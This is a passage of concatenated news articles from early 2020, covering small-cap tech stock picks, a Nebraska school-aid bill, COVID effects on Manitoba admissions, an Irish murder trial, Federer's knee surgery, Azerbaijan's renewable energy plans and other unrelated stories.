tongue. My homage to all those martyrs." "We love all the languages including our mother tongue," she said. International Mother Language Day is observed on February 21 to promote awareness of linguistic and cultural diversity and multilingualism. The day was celebrated by various organisations and institutes across West Bengal. Students, faculty and alumni of the St Xavier's College in Kolkata observed the day by organising a torchlight procession in front of the college premises. The procession was led by its Principal Dominic Savio. Savio said the International Mother Language Day aims at fostering the essence of various global languages and cultural diversity, integrity and solidarity. Deputy High Commissioner of Bangladesh Toufique Hasan, state Fire Services Minister Sujit Bose and others took part in the rally. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The tech sector has a reputation for taking all the oxygen in the markets and for good reason. Tech stocks are the go-to thing in the todays economy, where profitability is based on digital information. Thats just where the money is. And the numbers show it, as far as they can. Just two of the biggest tech companies, Apple and Microsoft, brought in a whopping 15% of the total return on the S&P 500 last year. It was truly an impressive performance. But for return-minded investors, the tech giants are not the only game in town. The small- to large-cap companies may not generate the buzz and the headlines, and their share of the broader market may not match the giants, but Wall Streets analysts say they are upward bound. With that in mind, weve used the TipRanks Stock Screener to search the database for smaller tech stocks with unanimous Buy ratings and better than 20% upside potential. Lets take a closer look. Harmonic, Inc. (HLIT) The rise of the digital world has brought video content to the fore. From YouTubes early days, to todays video on demand streaming sites, its clear that online content consumers want to see and hear more than just read. Harmonic inhabits the online video ecosystem, providing technology to develop and market video routing, server, and storage systems for producers and distributors. HLIT shares saw a recent drop, losing 15% year-to-date, despite a solid final quarter in 2019. Q4 results were solid, beating the estimates on both earnings and revenue. EPS, at 12 cents, was 50% better than expected, while the $122.2 million in revenue was 8.1% over the forecasts. It is the fourth quarter in a row that HLIT has beaten expectations. Forward guidance, however, overshadowed the earnings beat. The company issued projected 2020 earnings of $390 to $430 million, well below the $438.8 million consensus. Wall Street sees that pullback as creating a better entry point for the stock. Richard Valera, 5-star analyst with Needham, writes, HLIT saw solid progress on the transition to SaaS/OTT in its video business, even as it issued below consensus revenue guidance for 2020. Net, with a solidified, if not enhanced, strategic position in the $1B+ CCAP/DAA market, and a conservatively set bar for 2020, we see HLIT shares as very attractive at current levels. Story continues Valeras $10 price target implies a 50% upside for the stocks, and reinforces his Buy rating. (To watch Valeras track record, click here) Shares in Harmonic are selling for $6.67, and the average price target on the stock, $9.17, suggests room for 38.5% upside growth. The Strong Buy analyst consensus is based on 3 recent reviews, all Buys. (See Harmonic stock analysis at TipRanks) IAC/InterActiveCorp (IAC) Next up is the largest tech company on todays list, with a market cap of $20 billion. InterActiveCorp is a holding company, owning media and internet brands in 100 countries worldwide. IACs brands include Match Group the parent company of internet dating sites Tinder, OkCupid, and Match.com as well as Vimeo, HomeAdvisor, and Investopedia. The company brings in well over $3 billion in annual revenues. IAC has a history of frequently shaking up its brand line-up. Last month, the company shed the CollegeHumor websites, while earlier this month it closed a $500 million deal to acquire Care.com. The acquisition represents a new move for IAC, as the companys first step into the family care market, a $300 billion market. In another move of similar import, IAC will be spinning off the Match Group brands later this year. In the last four reported quarter, IAC has beaten the forecasts three times. The miss came in the most recent quarter, Q4 2019. The company reported EPS of $1.08, missing the estimates by 8.5%, based on revenue of $1.22 billion. While the total revenue missed expectations by just under 1%, it did represent an 11% gain year-over-year. Weighing in on the stock for Nomura after the earnings came in, 4-star analyst Mark Kelley sees a clear path forward for IAC. He wrote, Results in IACs stub businesses were mostly positive. Dotdash continues to generate strong results... Vimeo was led by 45% YoY growth in Enterprise offerings, which continues to be a clear focus... The emerging businesses and expansion into the home care market will become all the more important following the Match spin, expected at the end of 2Q. Kelley puts a Buy rating on IAC, along with a $304 price target. His target indicates confidence and a 32% upside to the stock. (To watch Kelleys track record, click here) IACs unanimous Strong Buy consensus rating is based on no fewer than 13 recent Buy-side reviews. The stock is currently priced at $230.97, and the $294.50 average price target suggests room for 28% growth to the upside. (See IACs stock analysis at TipRanks) PROS Holdings (PRO) We finish todays list with PROS Holdings, a business computer software company. PROS offers cloud-based SaaS products for price optimization, revenue management, and sales effectiveness. The company is based in Houston, Texas, and has offices London, Paris, and Sydney. PROS made its start marketing revenue management systems to the airline industry; the company is expected to bring in $297 million for the current fiscal year. To finish up 2019, PRO reported an earnings loss and revenue beat. EPS came in 37% worse than expected, at a net loss of 11 cents per share. Revenues, on the other hand, were up, as the company reported $66.18 million for the final quarter of the year. That was 3% above the forecast, and an impressive 26% year-over-year gain. Analysts expect Q1 2020 to show results similar to Q4. PRO shares dropped on the earnings release, as the stock has slid 16% since the report went public. Investors were clearly concerned by the slip in earnings. RBC Capital Alex Zukin, however, sounds a different note, emphasizing the companys strengths in his post-earnings review of the stock. Zukin, a 5-star analyst, says up front, PROS reported a record bookings quarter, its second of the year, and delivered revenue above expectations. Regarding PROs forward prospects, he gets into greater detail, seeing three points to bolster optimism: First, we think alignment with CRM/CPQ software means there is a clearer buyer for price optimization software. Second, we think a cloud delivery model helps It also means the software can be consumed in smaller deals with faster time to value. Third, we think the digitization of B2B commerce likely increases the need for dynamic pricing across more companies and industries. Zukins Buy rating on the stock comes with a $75 price target, suggesting a robust upside here of 47%. (To watch Zukins track record, click here.) All in all, PROS has 3 recent Buy ratings backing up its Strong Buy consensus. Shares are priced at $51.35, a bargain for such a high-potential stock. The average price target of $71.75 indicates room for 42% upside growth. (See PROS stock analysis at TipRanks) Legislative debate on this year's major property tax relief and school aid reform bill was halted Thursday as Revenue Committee Chairwoman Lou Ann Linehan sought time to attempt to negotiate a compromise with schools that remain opposed to the landmark proposal. Linehan said she has the votes required to continue debate on the bill (LB974) at its first-stage floor consideration, "but we need a break" that will allow time to attempt to fashion an agreement with school officials concerned about the impact of the major reform package. "Nobody likes change," the Elkhorn senator said. "It scares them." "We need to sit down calmly" with a mindset that "we all have to compromise" in order to enact the groundbreaking legislation, she said. Linehan needs to show Speaker Jim Scheer of Norfolk that she has the 33 votes required by the speaker to proceed with debate on the bill. "I have the votes," she said, "33 votes or 32 votes." If the bill moves forward, it eventually would need at least 33 votes to break a filibuster waged by its opponents. During the timeout period, Linehan said, "we will be meeting with school officials." Opposition to the bill has centered in metropolitan Omaha and Lincoln, where school officials believe they will lose future funding support under terms of the legislation. But, Linehan said, Lincoln already is headed toward "a $20 million loss if we don't do anything." That loss of funding support for Lincoln schools would be triggered under the current state aid formula because of an increase in property valuations, she said. Before Linehan's timeout, Sen. Wendy DeBoer of Bennington filed a motion to bracket the bill, a legislative maneuver that would shelve the proposal for the remainder of this year's session. "Education opposes this bill," she argued. "It's bad for Nebraska and bad for our kids." Linehan said "it makes sense to pause," meet with school officials over the weekend and "come back early next week" to resume consideration of the measure. "Our job is to take care of every child in the state," she said. "I think it's doable." Although Gov. Pete Ricketts is not directly involved in the newest effort to reach an agreement, Linehan said, "I feel the governor is with us. He understands we need to work this out." Reach the writer at 402-473-7248 or dwalton@journalstar.com. On Twitter @LJSdon Love 0 Funny 0 Wow 0 Sad 0 Angry 0 CHICO, Calif. The Chico Unified School District is proposing some changes when it comes to scheduling classes at Chico and Pleasant Valley High Schools. Currently, students have six periods every day. Each period is nearly an hour-long. The proposed block schedule would call for eight classes, with four classes on one day and four additional classes the next. Each period would be nearly an hour and a half long. If the block schedule is approved it would add 29 more students into a teachers workload. Some teachers really like what it can do for kids, President of Chico Unified Teachers Association, Kevin Moretti said. One of the issues for those people that are opposed to it is if you do the math, theyre just going to see their kids less, cause now the kids are taking eight periods instead of six. In order for the new schedule to be approved, it needs a two-thirds majority vote from high school educations. If passed it would go into effect the 2023 school year. A luxury trainer brand's latest 1,125 design - that features dripping glue and loose stitching - has renewed the row over glamorising poverty. French fashion house Maison Margiela's black Fusion Leather and Mesh Sneakers sparked backlash with critics claiming the design mocks people who can't afford to buy new shoes. The black sneakers are said to have a 'deconstructed aesthetic' and a description on matches Fashion claims they are 'avant-garde'. French fashion house Maison Margiela's black Fusion Leather and Mesh Sneakers (pictured) have sparked backlash as critics say the 1,125 design mocks poverty The black sneakers are said to have a 'deconstructed aesthetic'. A description on Matches Fashion claims they are 'avant-garde' It read: 'The Maison Margiela's black Fusion trainers showcase the label's penchant for creating avant-garde and instantly recognisable footwear silhouettes through their unmistakable deconstructed aesthetic. 'They're crafted in Italy from leather and mesh and feature carbon-fibre-effect details, glue drips and purposeful loose threads to further accentuate the design.' The poverty row began in 2018 when Golden Goose released their 'pre-distressed' shoes - which were held together by tape. Pamela Church Gibson, a lecturer in cultural studies at the London College of Fashion, has slammed the creative director John Charles Galliano for repeating his love of 'homeless chic'. She revealed the high fashion director had to apologise while working for Dior after putting together a show in 2000 inspired by the homeless people he saw on his morning run. She added: 'I think it is awful. Its very offensive and its very interesting with the whole couture collection he said it was inspired by the homeless and there was a backlash. People complained. He had to say he was wrong. He apologised. 'But 20 years later the poverty chic is resurfaced in the house. Its very interesting.' Social media users flocked to Twitter again as one decried 'rich people' for having 'too much money for their own good' Pamela explained high fashion tried to distance itself as far as possible from the clean-cut look of celebrity fashion. And she thinks the trainers are making a statement about fast fashion's throwaway culture - where people buy cheaper clothes to replicate celebrity looks before throwing them away. Pamela said: 'They sold out on far fetch for example so people are paying for them. 'Its so bizarre this kind of duct tape design. It seems to me its kind of wanting to look the opposite of body conscious. 'While celebrity is all high heels and shiny this is "well we're really fashionable because were the opposite"'. And social media users have flocked to Twitter again as one decried 'rich people' for having 'too much money for their own good.' Another said: 'Flip me. Give me a 10 pair of Primark trainers and a glue gun and I can produce something similar!' One comment fumed: 'Rich people have too much money for their own good.' Others commented on the glue-effect's more sexual connotations, with the design immediately allowing people's imaginations to run wild Maison Margiela recently released its Replica paint-splatter suede trainers (pictured) for 425 One Tweeter said: '1,000 for shoes I can make at home? Another added: 'You know your broke when you have to hot glue your shoes.' Others commented on the glue-effect's more sexual connotations, with the design immediately allowing people's imaginations to run wild. One said said: 'Maison Margiela's new sneakers are literally dripping.' Another added: 'Maison Margiela rlly said sex sells...luv to see it.' Maison Margiela recently released its Replica paint-splatter suede trainers for 425. The shoes, which are black with beige laces, feature multi-coloured paint splotches across the top and even incorporate the laces into the design. A description of those reads: 'Maison Margiela presents this black suede version of its Replica trainers for the Resort 2019 collection. 'They're designed to the classic low-top silhouette with the house's hallmark numbering system punctuated at the tongue and are splattered with colourful paint for an artistic finish. Runs true to size.' FEMAIL have approached Maison Margiela for comment. Manitoba universities are making application exceptions for prospective Chinese students as the coronavirus outbreak disrupts everything from regular semesters to English-language proficiency tests. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. Manitoba universities are making application exceptions for prospective Chinese students as the coronavirus outbreak disrupts everything from regular semesters to English-language proficiency tests. China's education system hasn't been exempt from the challenges that have come with halting the spread of COVID-19 since the virus was first diagnosed in the Hubei capital of Wuhan late last year. The epidemic has prompted schools in mainland China where the largest group of international students in local colleges and universities hail from to cancel classes and international testing agencies to postpone English exams required by Canadian schools. The University of Manitoba, University of Winnipeg and Brandon University said they are all responding to such application challenges on a case-by-case basis. "This is out of their control. Its something they cant control and its a serious issue right now and we want to work with them," said Leanne Barcellona, Brandon University's director of admissions. "We want to have their applications and potentially be considered to attend here at BU." There are currently 52 Chinese students enrolled at the school. On average, the admissions office receives between 25 and 35 applications from Chinese students each year. So far, two prospective students have contacted BU with concerns related to COVID-19 disruptions. One applicant has been unable to access official transcripts from their temporarily closed school, while another expressed concern about mailing documents due to postal-service delays. The submission deadline for international student applications is April 1, but Barcellona it may be extended because of the circumstances. There are upwards of 75,000 confirmed COVID-19 cases worldwide, 99 per cent of which are located in China, according to the World Health Organization. Fewer than three per cent have been fatal. Huang Jianbin, a teacher at Peking University, uses an online educational system to teach physical chemistry in Beijing. Millions of Chinese students started online learning last week, as the new school semester scheduled for Feb. 17 was postponed due to the coronavirus. (Shen Bohan / Zuma Press files) In Manitoba, health officials have urged the public to keep calm and wash hands, since the risk has been deemed low. Containment tactics have had ripple effects worldwide, one of which has been testing agencies suspending the International English Language Testing System, Test of English as a Foreign Language and Graduate Record Examinations. The language competency tests are popular requirements among Manitoba schools. The U of M said it's aware of the challenges prospective students face due to COVID-19. "We continue to encourage prospective students to reach out to the admissions office to discuss their options," spokeswoman Myrrhanda Novak said in a statement. At U of W, spokesman Kevin Rosen said Thursday the university had yet to receive any related requests from Chinese applicants, but it will try to accommodate people whose test results are delayed, if necessary. He noted its June 1 admission deadline is later than most. "Our later application deadline and rolling admissions will likely reduce or prevent impact of this issue for (U of W)," Rosen said, adding that the school is proud of its campus diversity there are more than 1,200 international students from 70 different countries at the school. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Also this week, newly released Statistics Canada data shows that growing international student populations continue to drive overall enrolment across the country. The number of international students at Manitobas post-secondary institutes grew more than six per cent to 8,841 from 2016-17 to 2017-18. During that same period, the number of domestic students dropped one per cent. After China, Nigeria is the country of citizenship for the majority of international students in the province. maggie.macintosh@freepress.mb.ca Twitter: @macintoshmaggie The father of one of the suspects for the robbery that resulted in Detective Garda Adrian Donohoe being shot dead was "semi-angry" when he arrived at a garda station wanting to know why his car had been seized as part of the murder investigation, the Central Criminal Court has heard. Retired detective inspector Pat Marry said the car was seized because it was seen driving at speed away from the scene in the aftermath of the fatal shooting. The owner of the car can't be named for legal reasons. Mr Brady (29) from New Road, Crossmaglen, Co Armagh has pleaded not (NOT) guilty to the capital murder of Det Gda Donohoe (41) who was then a member of An Garda Siochana on active duty shortly before 9.30pm on January 25, 2013 at Lordship Credit Union, Bellurgan, Co Louth. Mr Brady has also pleaded not (NOT) guilty to a charge of robbing approximately e7,000 in cash and assorted cheques on the same date and at the same location. Mr Marry told prosecution counsel Lorcan Staines SC that through the investigation he knew that the car, which is owned by the father of one of the suspects, had been seen by witness Frances Malone travelling "very fast" in the aftermath of the robbery. Ms Malone identified the car by its number plate which used letters and numbers to make it look like the owner's name. Mr Marry said he put a note on the garda pulse system that the car was to be seized. It was seized by a member in Castlebellingham, Co Louth at the end of March 2013 and was taken to Dundalk Garda Station. On the same day the owner of the car came to the station. Mr Marry said: "He was semi-angry. He wanted to know why his car was seized." Mr Marry said he never spoke to the man before that day but he knows him now. He pointed him out, sitting in the body of the court. On a short day of evidence in the trial Detective Inspector Mark Phillips told Brendan Grehan SC for the prosecution that in his notice of alibi, Mr Brady said he was at a diesel laundering yard at the time of the robbery. Mr Grehan asked: "Does Mr Brady say he was in the company of anybody at the yard during this period?" The witness replied: "No, he does not." The trial continues on Monday in front of Mr Justice Michael White and a jury of eight men and seven women. With the death of a 52-year-old resident in Ladakh fuelling speculations over coronavirus outbreak, the Union Territory Administration on Friday said the man died of pulmonary tuberculosis and that he had no history of travel outside the hilly region in the recent past. The administration also said another man, diagnosed with acute respiratory distress syndrome, was referred to Delhi for advance treatment, while a third patient with similar symptoms has been kept in isolation. In a statement, the Directorate of Health Services, Ladakh, said the 52-year old man from Phyang village was admitted to a hospital here on January 27 with cough, breathlessness and fever. It was a case of pulmonary tuberculosis, it said. The patient and his family members had no history of travelling outside Ladakh. He passed away on February 5. Another 55-year-old man from Achinathang village was admitted to a hospital on February 11. The patient was diagnosed with acute respiratory distress syndrome but he or his family too had no history of travelling outside Ladakh in the recent past. Oxygen saturation in the patient's blood was continuously low and he has been referred to Delhi on Friday for advanced treatment, the statement said. The third patient, a 36-year-old man from Nubra, came to an OPD of a hospital on February 14 with diarrhoea and vomiting following which he was admitted on February 17 with pneumonia and acute respiratory distress syndrome. The patient has recently returned home after travelling to Bihar and south India. In Bihar, he had similar problem, approximately two months back, and discharged after treatment. On his arrival at Leh, the person again developed the same symptoms. The patient is stable now with his vitals parameters are within normal limits. The patient has been kept in isolation ward and samples have been sent to laboratory, the statement said. The death toll in China's novel coronavirus outbreak has gone up to 2,236 with 118 more deaths reported, mostly from the hard-hit Hubei province, while the overall confirmed infection cases have climbed to 75,465, Chinese health officials said on Friday. In India, three people were tested positive for the virus in Kerala and they have been discharged after treatment. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Corporate Council on Africa (CCA) in partnership with Kenya Private Sector Alliance (KEPSA) hosted a roundtable discussion with Kenyan and U.S. business leaders and government officials to explore how the private sector can support this bilateral effort and take full advantage of investment and trade opportunities that will arise from a Kenya-U.S. Free Trade Agreement. This comes as a follow up to the recent visit of H.E. President Kenyatta to the United States, where the U.S. and Kenyan Government announced the launch of talks aimed at establishing a free trade agreement (FTA) between the two countries. If successful, it would be the first U.S. FTA with a sub-Saharan African nation and potentially a model the United States will use to enhance its trade and investment relationship with other African countries. Ms. Florizelle Liser, President and CEO of the Corporate Council on Africa (CCA), noted that a Kenya-U.S. FTA could build on Kenyas success in trading value-added products under the African Growth and Opportunity Act (AGOA). It is also an opportunity she said, for the private sectors of both the U.S. and Kenya to deepen trade and investment ties in key sectors from energy to banking, construction, ICT/digital trade, health, manufacturing and services trade. Ms. Liser mentioned that the roundtable today was the first of many that CCA plans on hosting with KEPSA as a long-time partner. We would like to use this platform to provide regular updates on ongoing negotiations, ensure private sector participation and support, and extract real time opportunities for businesses. KEPSA CEO, Ms. Carole Karuga, in her opening remarks emphasized the importance of growth of the FTA between Kenya and the USA stating that the increased trade opportunity for export and import would lead to growth of business. Ms. Karuga pointed out that Kenya is the leader of the East African Community and went further to underscore that Kenya, among the businesses in Africa participating in global trade, is leading the pact. Kenya should draw lessons from Morocco on the challenges and opportunities that are emerging with the free trade agreement between them and the US in order to learn and eventually do better, she urged. U.S. Ambassador to Kenya, Kyle McCarter who spoke at the event said: We look forward to working together to create a free-trade agreement that allows Kenyan and American businesses to benefit from increased access to each others markets and one where both our consumers will enjoy greater prosperity though expanded choice and competition within the marketplace. A successful U.S.-Kenya FTA will stand as a landmark for East Africa and for all of Africa. PS, State Department of Trade, Amb. Johnson Weru appreciated the synergy between Government and private sector, adding that the government is willing to walk this journey together with the private sector. As we speak there is a government team that is also dissecting the deliberations that took place in Washington last week. Kenya has a great appetite for this opportunity. Dr. Ruth Kagia, Senior Advisor, in the Office of the President, appreciated the discussion that took place in Washington pointing out that this has the highest political support. A Kenya-U.S. FTA would build on the success Kenya has experienced in producing and exporting a range of value-added products to the U.S. market under the African Growth and Opportunity Act (AGOA), while enhancing two-way trade, strengthening commercial cooperation, and spurring investment into key sectors. KEPSA and CCA signed an MoU to promote mutual interests through cooperation in the promotion of trade and investment opportunities in Kenya. This emphasizes on the need to explore opportunities between Kenya and the USA on the backdrop of the commencement of the negotiations on the free trade agreement between Kenya and USA. Free trade increases prosperity for the citizens of all participating nations by allowing consumers to buy more, better-quality products at lower costs. It drives economic growth, enhanced efficiency, increased innovation, and the greater fairness that accompanies a rules-based system. These benefits increase as overall trade exports and imports increases. Partager et informez vous aussi...... 0 shares Share Tweet LinkedIn Articles similaires The Portland woman who was fired from her job with U.S. Bank after a Christmas Eve act of kindness has been hired by a credit union that created a job especially for her. Emily James will be joining Community First Credit Union in Santa Rosa, California, next month as a training supervisor. It was exactly what I wanted, James said. I want to be training, mentoring and helping others. Ill be training new hires as well as doing follow-up training. The head of human resources for Community First Credit Union was among the dozens of hiring managers who reached out to The Oregonian/OregonLive after James story ran, wanting to reach her. James, who worked as a senior banker at a U.S. Bank call center in Portland, was fired on Dec. 31 for what she was told was an unauthorized interaction with a customer. Unable to get a hold that U.S. Bank had placed on a customers paycheck released on Christmas Eve, James received permission from her supervisor to drive to the gas station where the customer was stranded and give him $20 in cash. Both James, and her supervisor, Abigail Gilbert, were fired over the incident. The story triggered outrage from across the country for weeks. But it wasnt until New York Times columnist Nicholas Kristof wrote about the firings that U.S. Bank CEO Andy Cecere called both James and Gilbert, offering them their jobs back. Gilbert accepted, but James did not want to return to her former employer. Community First Credit Union flew James to Sonoma County, California, to interview, and James said the not-for-profit financial cooperative felt like a good fit. We read about Emily getting fired for an act of kindness and humanity," said David Williams, chief marketing and human resource officer for Community First Credit Union, in a press release. "At the same time, we had an employee do a similar act of kindness. We gave her an award for it. Helpfulness is in our DNA, and we are convinced Emily has that same DNA. James will be moving to Santa Rosa in Californias wine country for her new position, along with her beloved dogs, HarleyQuinn and Domino. I did not get to go wine tasting, but its on my to-do list, James said. -- Samantha Swindler; sswindler@oregonian.com; @editorswindler Former world number one Roger Federer revealed on Thursday he will miss the French Open in May in Paris after undergoing surgery on his right knee. The 38-year-old Swiss had the operation on what he described as a longstanding problem in Switzerland on Wednesday. "As a result, I will miss Dubai, Indian Wells, Bogota, Miami and the French Open," he said. Federer won the French Open in Paris in 2009. However during the course of his illustrious career, he has played second fiddle at the venue to Rafael Nadal who has claimed the crown 12 times, four of them at Federer's expense. Problem "My right knee has been bothering me for a little while," said Federer who reached the French Open semi-finals last year where he lost to Nadal. "I hoped it would go away, but after an examination and discussion with my team, I decided to have arthroscopic surgery." "After the surgery the doctors confirmed that it was the right thing to have done and are very confident of a full recovery. "I can't wait to be back playing again soon, see you on grass!" Federer was last in action at the Australian Open where he lost to the defending champion Novak Djokovic in the semi-final. In the quarter-final, Federer saved seven match points on his way past the unseeded American Tennys Sandgren. The ruling Minjoo Party on Wednesday nominated former Cheong Wa Dae spokeswoman Ko Min-jung to run for a seat in eastern Seoul's Gwangjin district in the general election on April 15. That means she will run against former Seoul mayor and conservative United Future Party candidate Oh Se-hoon. A Minjoo Party lawmaker said Ko "is the right person for the seat because she has assisted President Moon Jae-in and is capable of becoming a spokesperson for the public." Ko pledged to "put up a good and fair fight." Oh vowed "fiercely" to compete with her. By Rasana Gasimova By 2030, the share of renewable energy sources in Azerbaijans total electricity generation capacity, including large hydroelectric power stations is expected to increase from the current 17 percent to 30 percent, Deputy Energy Minister Elnur Soltanov has said. Addressing the training seminar on the development of renewable energy sources in Azerbaijan held on February 20, Soltanov noted that the first successful step in achieving renewable energy targets is the implementation of 440 MW wind and solar projects with ACWA Power (Saudi Arabia) and Masdar (UAE). These projects reflect the existing tariffs in the country and do not envisage any government subsidies. The minister stressed that the development of the renewable energy sector with the attraction of the private investment is one of the main objectives of the energy sector reform course pursued in the country. Deputy Minister of Ecology and Natural Resources Novruz Guliyev said that the ministry supports efforts to reduce carbon emissions into the atmosphere. Today, electricity generation from renewable energy sources in Azerbaijan is over 8 percent. We can further increase these indicators and contribute to the environmental and energy security Most importantly, alternative energy sources have no negative impact on the environment, he noted. During the event, it was noted that the potential of economically and technically feasible renewable energy sources in the country is 26,940 MW, including 3,000 MW of wind energy, 23,040 MW of solar energy, 380 MW of bionergy, 520 MW of mountain rivers. After the completion of 440 MW pilot projects, the ministry plans to carry out auctions. Activities on measuring the potential of renewable energy sources in selected areas, identifying and adapting lands for auction, conducting preliminary environmental, social assessments and geological surveys, evaluation of power infrastructure, procurement of electricity, development of accession agreements are being implemented to conduct auctions on renewable energy zones. Azerbaijan is actively working to develop its renewable energy sources. The Azerbaijani Ministry of Energy has signed executive agreements with Saudi Arabias ACWA Powercompany and the UAEs Masdar company on the implementation of pilot renewable energy projects. According to the agreements, pilot projects will be implemented with ACWA Power for the construction of a 240-megawatt wind farm, and with Masdar for the construction of a 200-megawatt solar power station. The projects are expected to produce 1.4 billion kilowatt / hours of electricity per year. Currently, 91.9 percent of electricity in Azerbaijan is produced from traditional sources of energy (natural gas), while 8.1 percent of electricity is produced from renewable sources. Taking the capacities of large hydroelectric power plants into account, the share of renewable energy sources in the production of electricity is 17 percent (1,276 MW). The seminar was organized by Energy Ministry together and Ministry of Ecology and Natural Resources and was attended by Saudi Arabias ACWA Power company, UAEs Masdar, and a number of government agencies and international organizations. --- Follow us on Twitter @AzerNewsAz Rashtriya Janata Dal leader Tejashwi Yadav on Friday alleged that the All India Majlis-e-Ittehadul Muslimeen is working like "B-team" of the Bharatiya Janata Party and called for the arrest of party leader Waris Pathan. "The statement (by Waris Pathan) is condemnable. He should be arrested. AIMIM is working like B-team of BJP," Yadav told ANI here. Yadav went on to say that similarly, BJP leaders Anurag Thakur and Parvesh Varma should also be arrested. "Action must be taken against anyone who makes provocative remarks," he said. Yadav on Thursday alleged that Pathan is a fundamentalist backed by BJP. "We are fighting a common battle because of our shared heritage and martyrdom for the cause. Despite BJP's repeated attempts, it has failed to polarise the nation. The fundamentalist BJP is now using extremists aligned with it for this purpose. People having faith in the constitution and law of the land should boycott persons who spew venom," tweeted Yadav (roughly translated from Hindi). AIMIM leader Waris Pathan had on Wednesday said that 15 crore Muslims can dominate 100 crore Hindus. "The time has now come for us to unite and achieve freedom. Remember we are 15 crore but can dominate over 100 crores," said Pathan while addressing an anti-CAA rally here. "They tell us that we have kept our women in the front - only the lionesses have come out and you are already sweating. You can understand what would happen if all of us come together," he said. The CAA grants citizenship to Hindu, Sikh, Jain, Parsi, Buddhist, and Christian refugees from Pakistan, Afghanistan, and Bangladesh, who came to India on or before December 31, 2014. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Abdul Kerimkhanov NAM Summit will further strengthen Azerbaijan's foreign policy among international actors, Peter M. Tase, Scholar of International Affairs and author of various books on Azerbaijani Studies and Latin American Politics, said in an interview with Azernews. "The 2019 Non-Aligned Movement (NAM) Summit will further strengthen Azerbaijan's Foreign Policy and increase significantly the defense of Azerbaijan's sovereign territory and national strategy among international actors and the world's largest democracies," Tase stated. He noted that the NAM Summit is hosted in Baku, thanks to the great level of leadership in Europe, Latin America and Asia shown by the President of Azerbaijan Ilham Aliyev. He added that this organization is positioned as the most important platform of multilateral diplomacy. "October 2019 will be remembered as a pivotal moment in the history of NAM and contemporary achievements of Azerbaijan in the fields of international politics, sustainable development, and economic diplomacy," he added. Tase considers, the member countries of NAM can bolster their global presence and promote regional economic projects as well as craft a strategic road map for a more peaceful world; they are part of a forum that promotes sustainable international development projects that generate great benefits to societies and predominant industrial sectors in Central Asia, the Pacific, Africa and Latin America. "Azerbaijan is emerging once again as the best platform where key global leaders may gather to address the world's pressing challenges and tackle unresolved security and defense related matters," Tase commented. He emphasized, Azerbaijan has keenly shaped the Agenda of International and Regional Geopolitical Priorities; the organization and hosting of major Summits and Conferences in Baku is a testimony to the country's admirable economic growth; consolidated agriculture industry and cutting edge information technology research at the university level. "The propensity of Azerbaijan towards economic growth and dynamic foreign policy makes the land of fire a leading partner and strategic actor in shaping the 21st Century priorities in the fields of development and international diplomatic matters," Tase concluded. In turn, Geopolitical Analyst, Commentator and Columnist Malik Ayub Sumbal believes that Azerbaijan will play a vital role in the uplifting of NAM during its chairmanship era for the next three years. Noting that Baku has been always a hub of regional and international activities, he expressed confidence that during the next three years the theme of the NAM will be highlighted more. "Azerbaijan has a huge potential of active diplomacy around the world and its a good chance for NAM to active under an umbrella," he concluded. Uniting the countries that did not join any military-political blocs during the Cold War, the NAM was transformed into one of the important multilateral mechanisms. Today, the NAM is the second political platform after the UN, uniting in its ranks the biggest number of countries. The representatives of 158 countries and international organizations participated in the summit held in Baku. Azerbaijan will chair this structure in 2019-2022. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on Twitter @AzerNewsAz OROVILLE, Calif. - Butte County Sheriff's deputies announced Thursday that they have arrested 24-year-old Douglas Dotson of Oroville for two felony warrants for burglary and vehicle theft. The related incident involved the theft of a motorcycle from a residence in the 2600 block of Oro-Quincy Highway on Monday, Feb. 17, 2020. Dotson was arrested on Tuesday, Feb. 18, 2020. The case was cracked, according to deputies, after surveillance video was posted to social media. According to deputies, the video showed two male suspects committing the burglary. One of the suspects was recognized by social media followers, leading to the arrest of Dotson. Deputies said they were able to confirm that Dotson was the individual who entered the residence and took the motorcycle, which was later recovered at an Oroville home. Deputies are still trying to identify the second male who was involved in the burglary. If you recognize the second suspect or have any information about this investigation you are asked to contact Detective Will Brewton at (530) 538-7671. More than 300,000 volunteers have signed up to take part in the Great British Spring Clean each providing an extra pair of hands in the nationwide tidy-up. The milestone figure was surpassed yesterday less than a month after the first call went out for recruits to join the clean-up campaign, which the Daily Mail is running in partnership with Keep Britain Tidy. A staggering 309,812 of you have now signed up to take part in the month-long initiative, running from March 20 to April 13, after a boost in numbers from Britain's biggest housebuilder. Top team: Sadie Hall and mother Caroline Barratt Developments pledged 6,500 staff to join in the fight against discarded rubbish and is planning a litter-pick on the banks of the Grand Union Canal, in Hayes, west London, a trouble spot for littering by walkers and canal-side drinkers. Chief executive David Thomas said: 'We're delighted to support the Daily Mail's Great British Spring Clean campaign. Across the country our teams get volunteering leave and are already encouraged to use it for litter-picking and clearing public space. We want to play our part in making Britain beautiful which is why we're backing this great campaign.' Last year the Great British Spring Clean enlisted almost 600,000 people across the country to take part in litter-picks. This was a huge rise on 2018, when 370,000 people took part collecting rubbish at 13,500 events across the UK. This year, however, we would like to go above and beyond surpassing 600,000 and hoping to get as close to a million volunteers as possible. Walk in the park: Daniel Walker, eight, picks up litter every day after school Last night Allison Ogden-Newton OBE, chief executive of Keep Britain Tidy, said: 'To recruit more than 300,000 Litter Heroes within four weeks of launching the campaign is astonishing. 'It shows just how much people care about protecting our environment and are willing to do something that will make a visible difference. 'But we need more people to join them. Whether it's organising a community clean-up or simply pledging to pick up some litter as you go about your daily life, everyone can support the Great British Spring Clean. 'Our environment needs us all to show it some love and the Great British Spring Clean is the perfect way to do just that.' Volunteer numbers have already received a significant boost from the likes of schools and councils across the country. The National Trust put out a call to action to its 5.5million members, while McDonald's pledged 2,500 staff members to take part in litter-picks around its branches after admitting it 'could do more' to tackle the issue of litter. The UK's largest banks have also answered the call to action. Lloyds Banking Group, Santander, HSBC and Nationwide have all pledged thousands of employees to volunteer. And the Archbishop of Canterbury Justin Welby has even urged Christians to 'litter-pick for Lent'. For the first time the Church of England called for its members to do something for the environment for Lent instead of more traditional gestures. Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. The global high volume dispensing systems market size is expected to reach USD 3.07 billion by 2025, according to a new report by Grand View Research, Inc., 